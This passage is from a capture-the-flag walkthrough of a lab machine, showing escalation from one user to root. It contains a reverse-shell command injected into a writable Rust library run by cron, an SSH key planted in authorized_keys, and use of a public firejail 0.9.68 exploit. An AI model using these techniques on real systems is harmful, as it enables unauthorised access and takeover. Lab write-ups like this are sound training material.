Specifically, the log function from logger is being called. Let's delve into the source code of logger.

Upon listing the contents of /src for logger, a Rust file named lib.rs is found:

silentobserver@sandworm:/opt/crates/logger/src$ ls -la
total 12
drwxrwxr-x 2 atlas silentobserver 4096 May  4  2023 .
drwxr-xr-x 5 atlas silentobserver 4096 May  4  2023 ..
-rw-rw-r-- 1 atlas silentobserver  732 May  4  2023 lib.rs
silentobserver@sandworm:/opt/crates/logger/src$
Here, we observe the source code of the log function being invoked in tipnet:

extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;

pub fn log(user: &str, query: &str, justification: &str) {
    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}
silentobserver@sandworm:/opt/crates/logger/src$
Given that we have write privileges over this library, and it is executed by "atlas" every two minutes, we can attempt to gain access to the "atlas" user by modifying this code.

We can add the following content to execute commands:

use std::process::Command;

Command::new("bash")
    .arg("-c")
    .arg("touch /tmp/pwnedbyelswix")
    .spawn()
    .expect("ls command failed to start");
Let's add it to the log function. Initially, I will copy lib.rs to the /dev/shm/ directory, as I observed that the logger project is being deleted every two minutes after "atlas" runs its cron job.

silentobserver@sandworm:/opt/crates/logger/src$ cp lib.rs /dev/shm/lib.rs
silentobserver@sandworm:/opt/crates/logger/src$ cd /dev/shm
silentobserver@sandworm:/dev/shm$
Now, let's modify the log function:

silentobserver@sandworm:/dev/shm$ cat lib.rs 
extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;

pub fn log(user: &str, query: &str, justification: &str) {
    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    use std::process::Command;

    Command::new("bash")
        .arg("-c")
        .arg("touch /tmp/pwnedbyelswix")
        .spawn()
        .expect("ls command failed to start");





    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}
Finally, let's copy the modified lib.rs file to the /opt/crates/logger/src directory:

silentobserver@sandworm:/dev/shm$ cp lib.rs /opt/crates/logger/src
silentobserver@sandworm:/dev/shm$
If everything works as expected, the pwnedbyelswix file should be created in the /tmp directory.

silentobserver@sandworm:/dev/shm$ ls -l /tmp
total 24
-rw-rw-r-- 1 atlas atlas    0 Nov 18 15:54 pwned
-rw-rw-r-- 1 atlas atlas    0 Nov 18 22:26 pwnedbyelswix
drwx------ 3 root  root  4096 Nov 18 11:06 systemd-private-8aae57c9bffa46e59597f674e82e7e36-ModemManager.service-eK6wWM
drwx------ 3 root  root  4096 Nov 18 11:06 systemd-private-8aae57c9bffa46e59597f674e82e7e36-systemd-logind.service-lvZSaH
drwx------ 3 root  root  4096 Nov 18 11:06 systemd-private-8aae57c9bffa46e59597f674e82e7e36-systemd-resolved.service-fJsry8
drwx------ 3 root  root  4096 Nov 18 11:06 systemd-private-8aae57c9bffa46e59597f674e82e7e36-systemd-timesyncd.service-MSQqqG
drwx------ 3 root  root  4096 Nov 18 17:39 systemd-private-8aae57c9bffa46e59597f674e82e7e36-upower.service-O1cXj7
drwx------ 2 root  root  4096 Nov 18 11:07 vmware-root_809-4282301975
silentobserver@sandworm:/dev/shm$
Great, we're now executing commands as the atlas user. Let's proceed to gain access as the user "atlas."

silentobserver@sandworm:/dev/shm$ cat lib.rs 
extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;

pub fn log(user: &str, query: &str, justification: &str) {
    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    use std::process::Command;

    Command::new("bash")
        .arg("-c")
        .arg("bash -i >& /dev/tcp/10.10.16.7/3001 0>&1")
        .spawn()
        .expect("ls command failed to start");





    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}
silentobserver@sandworm:/dev/shm$
Before copying the new lib.rs file to /opt/crates/logger/src/, let's set up our netcat (nc) listener to capture the reverse shell:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Now, let's copy the new lib.rs file to /opt/crates/logger/src/:

silentobserver@sandworm:/dev/shm$ cp lib.rs /opt/crates/logger/src
After a few minutes of waiting, we have successfully obtained a reverse shell as the user atlas:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.218:37366.
bash: cannot set terminal process group (22106): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$
Now, let's simply adjust the TTY to interact more comfortably with the system:

atlas@sandworm:/opt/tipnet$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
atlas@sandworm:/opt/tipnet$ ^Z
zsh: suspended  nc -lvnp 3001

elswix@kali$ stty raw -echo;fg
[1]  + continued  nc -lvnp 3001
                               reset
reset: unknown terminal type unknown
Terminal type? xterm
atlas@sandworm:/opt/tipnet$ export TERM=xterm
atlas@sandworm:/opt/tipnet$ export SHELL=/bin/bash
atlas@sandworm:/opt/tipnet$


Shell as root


Upon listing the groups, we notice an interesting group:

atlas@sandworm:/opt/tipnet$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
atlas@sandworm:/opt/tipnet$
Recalling the Set-UID files, firejail was present in the system and was only available for users belonging to the jailer group:

atlas@sandworm:/opt/tipnet$ which firejail | xargs ls -l
-rwsr-x--- 1 root jailer 1777952 Nov 29  2022 /usr/local/bin/firejail
atlas@sandworm:/opt/tipnet$
Let's check the version of firejail:

atlas@sandworm:/opt/tipnet$ firejail --version
firejail version 0.9.68

Compile time support:
    - always force nonewprivs support is disabled
    - AppArmor support is disabled
    - AppImage support is enabled
    - chroot support is enabled
    - D-BUS proxy support is enabled
    - file transfer support is enabled
    - firetunnel support is enabled
    - networking support is enabled
    - output logging is enabled
    - overlayfs support is disabled
    - private-home support is enabled
    - private-cache and tmpfs as user enabled
    - SELinux support is disabled
    - user namespace support is enabled
    - X11 sandboxing support is enabled

atlas@sandworm:/opt/tipnet$
After conducting some research on the internet, I discovered a vulnerability associated with this version.

There is an advisory on GitHub regarding this vulnerability: GHSA-m2xv-wgqg-4gxh.

A Privilege Context Switching issue was discovered in join.c in Firejail 0.9.68. By crafting a bogus Firejail container that is accepted by the Firejail setuid-root program as a join target, a local attacker can enter an environment in which the Linux user namespace is still the initial user namespace, the NO_NEW_PRIVS prctl is not activated, and the entered mount namespace is under the attacker's control. In this way, the filesystem layout can be adjusted to gain root privileges through execution of available setuid-root binaries such as su or sudo.

I also came across the following article, which details the vulnerability. The article includes a PoC exploit in this section.

Let's proceed to exploit this vulnerability. First, I will download the exploit on my local machine:

elswix@kali$ wget https://www.openwall.com/lists/oss-security/2022/06/08/10/1 -O exploit.py
--2023-11-18 19:45:31--  https://www.openwall.com/lists/oss-security/2022/06/08/10/1
Resolving www.openwall.com (www.openwall.com)... 195.42.179.202
Connecting to www.openwall.com (www.openwall.com)|195.42.179.202|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8649 (8.4K) [text/plain]
Saving to: exploit.py

exploit.py                       100%[=======================================================>]   8.45K  40.7KB/s    in 0.2s    

2023-11-18 19:45:32 (40.7 KB/s) - exploit.py saved [8649/8649]
Before executing the exploit on the victim machine, I recommend obtaining a second shell as atlas, as you will need a second terminal to exploit the vulnerability.

You can send another reverse shell by manipulating the SSH authorized_keys file. First, generate new SSH keys:

elswix@kali$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/elswix/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/elswix/.ssh/id_rsa
Your public key has been saved in /home/elswix/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:8TZim4s6Vpe3kwlfHcXFbSMaEtQuK4aOFmdp8HsQCTI elswix@kali
The key's randomart image is:
+---[RSA 3072]----+
|        .oo    o+|
| E .     . o . .*|
|  o . . . o o .o.|
|   . o   + o  .  |
|    o + S.*  . . |
|   . O.++*... .  |
|    B.+.++ =     |
|   ooo o .*      |
|  ...oo .  .     |
+----[SHA256]-----+
After that, copy the public key and save it as an authorized_keys file on the victim machine:

atlas@sandworm:/dev/shm$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCm6SAEfouJqmdkjQ9xfzlb+g+pff/BS5sHIkPfir/KqDSR0V4TRCwKrpzs3J7ZilhvjurIFPoi5PA0wcX/9Sh8snmeh9yrQD1aJGZNBLGB//wX0j/r5vA6FSdRRA+6V2tyxmb4W/IbpBtePcSqGh7sGn1TzysyudMml3RUEPSOeUnBbFvLimm6etauY6VfTn6X2+P8SPT2+7QR+5HeBh88fs6z3P4Z9axWZ/8rRBE0zSR5UJijv1O8FwsLSoLX/KpJiADNcBrMLxxq2TRkVVYjJd2K4uwsJDg9XxTGgId9jzw3nnbyVS2ld0zDSV+D5mZa4lwErgkkYb5S+O/Ol3Uec8OnkVsRQV5I4JmBpMW3suess03BzT7osQIDzoyI7H3RjRTeD6SGhlpWf1yFWt2LZc/SXHXCa3oAk9RRPAMXigKJQIdcNI897Zhci6iN7Pv7JyutgXTNCimX2jnqo6H572CqkLUtBGjAaistcJVnqBjWW1RI6krpsOuIgSpCTYs= elswix@kali' > /home/atlas/.ssh/authorized_keys 
atlas@sandworm:/dev/shm$
Now, you can access as "atlas" through SSH without specifying credentials:

elswix@kali$ ssh atlas@10.10.11.218
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Nov 18 10:51:21 PM UTC 2023

  System load:           0.0
  Usage of /:            78.5% of 11.65GB
  Memory usage:          23%
  Swap usage:            0%
  Processes:             251
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.218
  IPv6 address for eth0: dead:beef::250:56ff:feb9:40b8


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Nov 18 22:48:37 2023 from 10.10.16.7
atlas@sandworm:~$
After uploading the exploit to the victim machine, let's execute it:

atlas@sandworm:/dev/shm$ python3 exploit.py
/dev/shm/exploit.py needs to have the execute bit set for the exploit to work. Run `chmod +x /dev/shm/exploit.py` and try again.
atlas@sandworm:/dev/shm$
It appears that the program requires execution privileges to work.

atlas@sandworm:/dev/shm$ chmod +x exploit.py
Now, let's try to execute it:

atlas@sandworm:/dev/shm$ ./exploit.py 
You can now run 'firejail --join=22803' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
It works, and it suggests that in another terminal, we can obtain a root shell using sudo su -. First, we need to attach to that process ID:

atlas@sandworm:~$ firejail --join=22803
changing root to /proc/22803/root
Warning: cleaning all supplementary groups
Child process initialized in 11.35 ms
atlas@sandworm:~$
Now, you can simply run the su command, and you will obtain a shell as root:

atlas@sandworm:~$ su
root@sandworm:/home/atlas# whoami
root
root@sandworm:/home/atlas# id
uid=0(root) gid=0(root) groups=0(root)
root@sandworm:/home/atlas#
Finally, you will be able to read the last flag:

root@sandworm:/home/atlas# cd /root
root@sandworm:~# cat root.txt
3498205da1d717f043d4a64415b1b8f3
root@sandworm:~#